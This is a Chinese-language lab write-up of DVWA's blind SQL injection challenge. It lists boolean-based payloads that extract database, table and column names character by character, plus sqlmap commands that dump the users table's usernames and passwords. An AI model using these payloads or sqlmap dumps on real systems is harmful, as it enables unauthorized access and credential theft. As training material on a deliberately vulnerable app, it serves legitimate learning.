0%

DVWA-SQL injection(blind)

盲注一般用判断语句结合返回值的真伪得到结论(布尔盲注),且布尔盲注的稳定性高于时间盲注,故不再赘述

无非是由普通注入中直接得到结果变为了以数字形式二分得到答案

  • $Low$

    • 类型

      1
      2
      3
      1 and 1=3 #
      1' and 1=3 #
      1" and 1=3 #

      可以判断出是字符型单引号注入

      注意只有真假情况下回显不同才可以判断

    • 数据库

      length(database()) 二分出数据库名长度

      substr([string],[参数1],[参数2]) 用于得到字符串中特定位置的字符,参数1 用于指定起始位置(从 $1$ 开始);参数2 是长度,当没有时默认到原字符串尾端。

      ascii(substr(database(),[posnumber],1))就可以用于二分数据库名当前位置的字符

      这里是ascii码

    • 库中的表

      select count() 函数看看有几个表

      1
      1' and (select count(table_name) from information_schema.tables where table_schema=database())=[num] #

      能得到两个表

      然后依次试出表名

      1
      2
      3
      1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9 #

      PS:这里需要两个括号

      再二分表名

      1
      1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), [num1],1))=[num2]#

      能得到一个 guestbookusers

      1
      1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8#

      得到 users 有八个字段

      1
      1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=7#

      得第一个字段长度

      1
      1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),[num1],1))=[num2] #

      二分字段名字

      以此类推,得到全部的八个字段

      然后二分出账号密码

      二分×

    • $sqlmap$ 启动!

      $burp$ 抓上传的包存到文件里

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      sqlmap -r sql_low.txt --level=5 --risk=3 --dbs
      打出表

      sqlmap -r sql_low.txt -D dvwa -tables
      打出dvwa下面的表

      sqlmap -r sql_low.txt -D dvwa -T users -columns
      打出表user的列

      sqlmap -r sql_low.txt -D dvwa -T users -C user,password --dump
      直接打出user和对应密码
  • $Medium$

    忍不了了一拳把sqlmap打爆

    在命令中加入 --level=5 --risk=3 让扫描更全面

  • $High$

    勤奋的手动注入

  • $Impossible$

    跟普通的一样,略了